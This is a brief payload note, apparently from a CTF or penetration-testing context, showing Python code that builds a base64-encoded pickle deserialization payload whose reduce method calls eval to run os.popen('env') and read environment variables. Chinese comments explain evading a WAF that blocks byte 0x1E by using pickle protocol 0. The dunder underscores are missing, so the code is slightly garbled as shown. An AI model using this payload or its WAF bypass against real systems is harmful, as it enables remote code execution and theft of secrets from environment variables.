payload:
import pickle
import os
import base64
class rce():
def reduce(self):
return (eval,("import('os').popen('env').read()",))
print(base64.b64encode(pickle.dumps(rce(),protocol=0)))1、waf拦截了单字节 0x1E
2、这里记得使用protocol=0
protocol=0 是文本协议,基本不会包含0x1E
protocol=2,3 是二进制协议,会包含各种控制字符,容易触发 0x1E 检测